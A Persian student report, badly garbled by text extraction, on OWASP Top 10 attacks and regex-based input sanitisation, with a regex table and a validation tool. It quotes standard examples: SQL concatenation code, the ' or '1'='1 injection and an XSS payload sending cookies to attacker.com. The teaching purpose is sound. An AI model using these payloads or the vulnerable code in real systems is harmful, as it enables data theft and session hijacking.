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 مقدمه 1

در گزارشککات  XSSو  SQL Injectionحملاتی مثل  2با داده 1به خاطر ادغام اسکککریپ 

سای   س   3OWASPدوره ای وب  س  که می   10TOPهمواره در لی قرار دارند. این در حالی ا

توان به راحتی و با اسکککتهاده اک تکنیا های برنامه نویسکککی ورودی برنامه های تر  وب را 

در این پروژه برخی پرکاربردترین حملات د تا اک این حملات جلوگیری شکککود. نمون 4پاکسکککاکی

آن شرح داده شده اس . یکی اک راه حل های ارایه  موجود مطرح شده و راه حل عملی مقابله با

ه های منظم( موجود در کبان های برنام)عبارت  RegExpشکککده اسکککتهاده اک کلاس و امکانات 

 نویسی اس .

 TOP 10حملات لیست  2

 رد را یمختله نهوذ یرهایمسکک توانند یم نترن یا یفضککا در ها هکر و کنندگان حمله

سه  خشب نیا در .کنند وارد صدمه شما تجارت ای و ستمیس به و کرده امتران شما افزار نرم

 را هسککتند نترن یا یفضککا در هکرها حملات نیتر عیشککا که را Top 10حمله ابتدای لیسکک  

 نشکککان را اه آن با مقابله یها راه اک یبرخ هرکدام، اک ییها نمونه ارائه اک پس و کرده یمعرف

 خواهیم داد.

 (Injectionتزریق ) 

س  و اعتماد قابل ریغ یها داده که دهند یم رخ یکمان حملات گونه نیا  قالب در نادر

 یم باعث مهاجم یها داده نیا. باشککند شککده ارسککال مترجم ای به دسککتور، ای جو و پرس ای

 .کند اجرا را لاکم مجوک بدون ای و ناخواسته یدستور مترجم شوند

                                                      
1 Script 
2 Data 
3 http://owasp.org  
4 Sanitize 

http://owasp.org/
http://owasp.org/
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 اثرات تجارتی
 اثرات فنی

 ضعف امنیتی
عوامل تهدید  حملهبردار های 

 آسان شدید کننده

تمککال دکدیککده  ح ا

شککدن، تیییر دادن 

و یا حذف شکککدن 

می داده هککا  تمککا

 وجود دارد.

توانککد  می  یق  تزر

باعث اک دس  رفتن 

داده هکککا، عکککدم 

پاسخگویی سیستم 

سی  ستر و یا عدم د

 گردد.

در کدهای با حجم 

قه هککای  ن بککالا، 

تزریقی بسیار شایع 

 هستند.

این هککا معمولاد در 

جو هککای  پرس و 

SQL ،LDAP ،

Xpath  و یکککا

NoSQL  یاف  می

 شوند.

حملککه کننککدگککان 

های خود را  له  حم

لب متن های  قا در 

با نرو  سککککاده ای 

مترجم هدف گرفته 

شکککده ارسکککال می 

مام  باد ت ند. تقری کن

مکنککابکع داده مکی 

له  ند بردار حم توان

 ای باشند.

هر کسی که بتواند 

بل قا  داده ای غیر 

اعکککتکککمکککاد وارد 

ند.  سکککیسکککتم ک

کاربران  مل  شککککا

بران  لی، کککار خ دا

خککارجککی و یککا 

 مدیران ارشد.

 حمله یها ویسنار از مثال چند 1ـ1ـ2

 SQL ریپذ بیآسککک یفراخوان ای سکککاختار در اعتماد رقابلیغ یها داده اک یافزار نرم -1

 :کند یم استهاده

String query = "SELECT * FROM accounts WHERE 

custID='" + request.getParameter("id")+ "'";  

 وج و پرس به منجر اسککک  ممکن ها ورک میفر به افزار نرم ای ی کورکورانه اعتماد -2

 Hibernate Query Language مثال عنوان به) هسککتند ریپذ بیآسکک که شککود ییها

(HQL)) 

Query HQLQuery = session.createQuery(“FROM accounts 

WHERE custID='“ + request.getParameter("id") + "'"); 

ثال دو هر در له بالا، م نده حم با و دهد یم رییتی خود مرورگر در را id پارامتر کن  or ' رتع

 :کند یم ارسال را 1'='1'
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http://example.com/app/accountView?id=' or '1'='1 

س  یمعن نیا به راتییتی نیا  accounts جدول داخل یرکوردها یتمام جو و پرس دو هر که ا

 ریککییت ها داده اس  ممککککن گرید خککطرناک یها حکمله یبرخ در. داد خواهنککد شینما را

 .شوند یفراخوان ها stored procedure یحتک ای و شده داده

 م؟یبمان امان در قیتزر یها حمله از چگونه 2ـ1ـ2

 .میکن جدا ها جو و پرس و دستورات اک را نامطمئن یها داده س یبایم کار نیا یبرا

 بطور مترجم اک اسککتهاده اک که اسکک  منیا API ای اک اسککتهاده ،یشککنهادیپ روش ای .1

 .کند یم فراهم یپارامتر واسط ای ای و کرده یریجلوگ کامل

سترس در یپارامتر API ای اگر .2 ستهاده با و تمام دق  با س یبا یم د،یندار د  نرو اک ا

 آدرس به مراجعه با. دیکن یدور خاص یها کاراکتر اک خود، مترجم یبرا خاص زیگر

s ESAPI’OWASP  دیکن مشاهده را زیگر توابع اک یادیک تعداد دیتوان یم. 

 Broken Authentication and Session Management 

اغلب بصکککورت  session managementدر نرم افزارها، توابع مربوط به احراک هوی  و 

لید ها و ککامل پیاده سککاکی نمی شوند. این مسئله به حمله کنندگان اجاکه ساختن رمز عبور، 

session token رای ها را می دهد. همچنین امکان بهره مندی اک دیگر نقه های پیاده ساکی ب

 بدس  آوردن هوی  سایر کاربران وجود خواهد داش .

 اثرات تجارتی
 اثرات فنی

 یتیضعف امن

بردار های 

عوامل تهدید  حمله

 کننده
 متوسط شدید

ارکش تککجککاری 

های مورد  داده 

حمله واقع شده 

ین  ن چ م ه و 

قه هککا  ن ین  ا

ممکن اسکککک  

له  جاکه ی حم ا

بککه حسککککاب 

توسکککعه دهندگان 

طرح های مرسککوم 

)و آمککاده( بککرای 

ساخ  اهراک هوی  

حمله کنندگان 

قه هککای  ن اک 

موجود در احراک 

هویکک  و توابع 

مککهککاجککمککان 

ناشناس خارجی 

کاربران  یا  با و 

حسککاب کاربری 

https://www.owasp.org/
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تجککاری  ثرات  ا

افشککای عمومی 

آسکککیب پذیری 

 ها.

کککاربری دنککد 

یا حتی  کاربر و 

همه ی کاربران 

ملککه  ح را بککه 

هد.  بد نده  کن

این هنگامی که 

حککمککلککه بککا 

صورت  موفقی  

گیرد، حملککه  ب

کننده می تواند 

هایی  کار مام  ت

که قربانی انجام 

مکککی داده را 

 انجام دهد.

 sessionو 

management 
اسککتهاده می کنند، 

درحککالیکککه انجککام 

سککاختن این موارد 

مل و  کا بصکککورت 

صکککریش دشکککوار 

 . در نتیجه، اسککک

ایککن طککرح هککای 

مرسوم دارای نقه 

خش  ب یی در  هککا

ثل خروج،  هایی م

ی  رمزعبور،  مدیر

مانی،  انقضککککای ک

 سوالات امنیتی و...

مکککدیکککریککک  

جلسکککات برای 

هویکک   جعککل 

کاربران استهاده 

 می کنند.

خود، که قصکککد 

دکدیکککککککککدن 

اطلاعات حساب 

 سایرین هستند.

فراد  همچنین ا

صد  خودی که ق

ساکی در  پنهان 

اعککمککال خککود 

 دارند.

 چند مثال از سناریو های حمله 1ـ2ـ2

ها را  session IDپشککتیبانی کرده و  URLنرم افزار رکرو بلیط هواپیمایی، اک باک نویسککی  .1

 قرار می دهد. URLدر 

http://example.com/sale/saleitems;jsessionid= 

2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii 

شده صمیم بگیرد اطلاعات مربوط به فروش را  5فرض کنید یا کاربر احراک هوی   سای  ت این 

ستد. او لینا بالا را برای آنها ایمیل کرده بدون اینکه بداند  ستان خود بهر  session IDبرای دو

ستهاده کنند می خود را نیز در ا ستان او لینا بالا را ا س . کمانی که دو شان قرار داده ا ختیار

 و کارت اعتباری او استهاده کنند. sessionتوانند اک 

                                                      
5 Authenticated 
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یوتر انقضککای کمانی در نرم افزار به شکککل دقیق تنظیم نشککده اسکک . کاربر اک یا کامپ -3

ستهاده می کند. به جای انتخاب گزی سای  ا سی به  ستر ، او logoutنه عمومی برای د

مان همرورگر را می بندد و کامپیوتر را ترک می کند. یا سکککاع  بعد حمله کننده اک 

 مرورگر استهاده می کند و آن همچنان احراک هوی  شده اس .

یا مهاجم داخلی یا خارجی به پایگاه داده رمز عبور کاربران در سیستم دسترسی پیدا  -4

نشده ذخیره شده اس ، در نتیجه مهاجم رمز  6می کند. رمزعبور کاربران بصورت درهم

 عبور تمامی کاربران را در اختیار خواهد داش .

 گونه حملات جلوگیری کرد؟ چگونه می توان از این 2ـ2ـ2

را  session managementیا مجموعه واحد اک کنترل های قدرتمند احراک هوی  و  -1

اک آن ها  در اختیار توسعه دهندگان قرار دهیم. برخی اک این کنترل ها که قصد استهاده

 را داریم، می بایس :

شته - الف ساده برای توسعه دهندگان دا سط  باشد. می توان مثال هایی در این  یا وا

 اهده کرد.مش این لینکرا اک  مورد

اسکککتاندارد تایید در را که  session managementتمام نیاکهای احراک هوی  و  - ب

 معرفی شده اس ، مورد بررسی قرار دهد. OWASPسای   برنامه امنیتی

شد XSSتلاش های کیادی جه  جلوگیری اک نقه های  -2  که می تواند منجر به دکدیده 

session ID ده ها باشککد، میبایسکک  انجام پذیرد. این مورد در ادامه بیشککتر توضککیش دا

 خواهد شد.

 Cross-Site Scripting (XSS) 

کمانی رخ می دهد که یا نرم افزار داده های نامطمئن را گرفته و آن  XSSنقه های 

به  XSSی کرده باشد. را به یا مرورگر وب ارسال می کند، بدون اینکه این داده ها را اعتبارسنج

 sessionمهاجمین این امکان را می دهد که اسککککریپ  هایی را در مرورگر قربانی اجرا کرده و 

                                                      
6 Hash 

http://owasp-esapi-java.googlecode.com/
http://owasp-esapi-java.googlecode.com/
https://www.owasp.org/
https://www.owasp.org/
https://www.owasp.org/
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و یا  ،کنند(های او را سککرق  کنند، وب سککای  ها را برای او به شکککل دیگری در آورند )خراب 

 کاربر را به سای  های مخرب هدای  کنند.

 اثرات تجارتی
 اثرات فنی

 تیضعف امنی
عوامل تهدید  بردار های حمله

 متوسط متوسط کننده

ارکش تجاری 

داده های مورد 

حمله واقع شده 

و همچنین 

اثرات تجاری 

افشای عمومی 

آسیب پذیری 

 ها.

مهاجمین می 

توانند اسکریپ  

هایی را در 

مرورگر قربانی 

اجرا کرده و 

session  های

او را بدکدند، وب 

سای  ها را برای 

او به شکل 

دیگری در آورند 

)خراب کنند(، و 

یا کاربر را به 

سای  های 

مخرب هدای  

کنند، مرتوای 

خصوم  آمیز به 

آن ارسال کنند 

 و...

XSS  اک شایع

ترین نقه های 

امنیتی در نرم 

افزارهای تر  

وب اس . نقه 

کمانی  XSSهای 

رخ می دهد که 

افزار  یا نرم

شامل داده های 

تهیه شده توسط 

کاربر در یا 

صهره، به 

مرورگر ارسال 

می شود بدون 

اینکه مرتوای 

آن اعتبارسنجی 

 شود.

مهاجمان حمله 

های خود را در 

قالب اسکریپ  

های متنی 

ارسال می کنند 

که اک مترجم 

مرورگر استهاده 

می کنند. تقریباد 

هر نوع منبع 

داده می تواند 

ردار به عنوان ب

 حمله باشد.

هرکسی که 

بتواند داده های 

نامطمئن را به 

سیستم ارسال 

کند. شامل 

کاربران خارجی، 

کاربران داخلی 

 و مدیران سای .

 XSSسناریویی از حمله های  1ـ3ـ2

 که زیر استفاده می کند، بدون این HTMLمطمئن در ساختار نرم افزاری از داده های نا

 اعتبارسنجی مناسبی انجام دهد:

(String) page += "<input name='creditcard' type='TEXT‘ 

value='" + request.getParameter("CC") + "'>";   
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 را در مرورگر خود به شکل کیر تیییر می دهد: CCحمله کننده پارامتر 

'><script>document.location= 

'http://www.attacker.com/cgi-bin/cookie.cgi? 

foo='+document.cookie</script>'. 

 sessionشخه قربانی به وب سای  مهاجم ارسال شود و بتواند  session IDاین باعث می شود 

 CSRFمام می توانند ت XSSتوجه داشته باشید که حمله کنندگان  اخیر قربانی را به سرق  ببرد!

 های دفاعی خودکار نرم افزار را شکس  دهند.

 XSSجلوگیری از حملات  2ـ3ـ2

ع نامطمئن اک مرتوای مرورگر ف یاکمند تهکیا داده های  ال می جلوگیری اک اینگونه حملات ن

 باشد.

روش پیشکککنهادی این اسککک  که اک هرگونه داده ی نامطمئن دوری کنیم )بر اسکککاس  -1

 که داده ها داخل آن قرار خواهند گرف (. HTMLمرتوای 

سهید -2 س   سنجی ورودی مثب  یا وروی لی شنهادی نیز یکی  7اعتبار  اک روش های پی

می تواند کما کننده باشککد. اما این روش یا روش  XSSاسکک  که در مقابل حملات 

صی را در ورودی خود  سیاری اک نرم افزارها کاراکتر های خا س ، کیرا ب دفاعی کامل نی

این نوع اعتبار سکککنجی می بایسککک  تا حد امکان طول، کاراکترها، فرم  و  نیاک دارند.

 قبل اک پذیرفتن آنها، بررسی کند. حاکم بر داده ها راقوانین تجاری 

 عبارت های منظم 3

سنجی ورودی های کاربر ستهاده ک اک عبارت های منظم می توان به منظور اعتبار رد و ا

شد را گرف . شرح داده  سیاری اک حملاتی که  منظم  تعدادی اک رایج ترین عبارت های جلوی ب

  .اندموجود در جدول کیر، نشان داده شده 

 

                                                      
7 Whitelist 
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Field Expression Format Samples Description 

Name ^[a-zA-Z''-'\s]{1,40}$ 
John Doe 
O'Dell 

Validates a name. Allows up to 40 
uppercase and lowercase 
characters and a few special 
characters that are common to 
some names. You can modify this 
list. 

Social 
Security 
Number 

^\d{3}-\d{2}-\d{4}$ 111-11-1111 

Validates the format, type, and 
length of the supplied input field. 
The input must consist of 3 
numeric characters followed by a 
dash, then 2 numeric characters 
followed by a dash, and then 4 
numeric characters. 

Phone 
Number 

^[01]?[- .]?(\([2-
9]\d{2}\)|[2-
9]\d{2})[- .]?\d{3}[- 
.]?\d{4}$ 

(425) 555-0123 
425-555-0123 
425 555 0123 
1-425-555-0123 

Validates a U.S. phone number. It 
must consist of 3 numeric 
characters, optionally enclosed in 
parentheses, followed by a set of 3 
numeric characters and then a set 
of 4 numeric characters. 

E-mail 

^(?("")("".+?""@)|(([
0-9a-zA-Z]((\.(?!\.))|[-
!#\$%&'\*\+/=\?\^`\{
\}\|~\w])*)(?<=[0-9a-
zA-
Z])@))(?(\[)(\[(\d{1,3}
\.){3}\d{1,3}\])|(([0-
9a-zA-Z][-\w]*[0-9a-
zA-Z]\.)+[a-zA-
Z]{2,6}))$ 

someone@examp
le.com 

Validates an e-mail address. 

URL 

^(ht|f)tp(s?)\:\/\/[0-
9a-zA-Z]([-.\w]*[0-9a-
zA-Z])*(:(0-
9)*)*(\/?)([a-zA-Z0-
9\-
\.\?\,\'\/\\\+&amp;%
\$#_]*)?$ 

http://www.micr
osoft.com 

Validates a URL 

ZIP Code 

^(\d{5}-
\d{4}|\d{5}|\d{9})$|^
([a-zA-Z]\d[a-zA-Z] 
\d[a-zA-Z]\d)$ 

12345 
Validates a U.S. ZIP Code. The code 
must consist of 5 or 9 numeric 
characters. 

Password 
(?!^[0-9]*$)(?!^[a-zA-
Z]*$)^([a-zA-Z0-
9]{8,10})$ 

 

Validates a strong password. It 
must be between 8 and 10 
characters, contain at least one 
digit and one alphabetic character, 
and must not contain special 
characters. 

Non- 
negative 
integer 

^\d+$ 
0 
986 

Validates that the field contains an 
integer greater than zero. 

Currency 
(non- 

negative) 
^\d+(\.\d\d)?$ 1.00 

Validates a positive currency 
amount. If there is a decimal point, 
it requires 2 numeric characters 
after the decimal point. For 
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example, 3.00 is valid but 3.1 is 
not. 

Currency 
(positive 

or 
negative) 

^(-)?\d+(\.\d\d)?$ 1.20 

Validates for a positive or negative 
currency amount. If there is a 
decimal point, it requires 2 
numeric characters after the 
decimal point. 

 

 RegexBuddyنرم افزار  

مریطی را برای کار با عبارت های منظم فراهم کرده اسککک .  RegexBuddyنرم افزار 

 برخی اک قابلی  های کلیدی این نرم افزار عبارتند اک:

 امکان ایجاد عبارت های منظم.  -1

 تس  و اشکال کدایی عبارت منظم نوشته شده با ورودی های مختلف،  -2

 ،نمایش گوناگون عبارت های منظم در کبان های برنامه نویسی مختلف -3

 ،جاد کد مبنی بر عبارت منظم برای استهاده در در داخل برنامهای -4

 .عبارت منظم کاربردی آماده برای کارهای مختلف 100بیش اک  -5

 تصویری اک مریط این نرم افزار در شکل کیر نشان داده شده اس .

 

 RegexBuddyنمای نرم افزار 1-3 شکل
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 WebSanitizerبرنامه  

مه  نا هایی اک  WebSanitizerبر نه  عه دادیم، نمو ما برای این پروژه آن را توسککک که 

با اسکککتهاده اک عبارت های منظم اعتبار سکککنجی می کند. پرکاربردترین ورودی های کاربران را 

 شکل کیر نمایی اک برنامه را نشان می دهد.

 

 WebSanitizerنمای نرم افزار 2-3 شکل

 

 منابع و ماخذ 4

 

*** 
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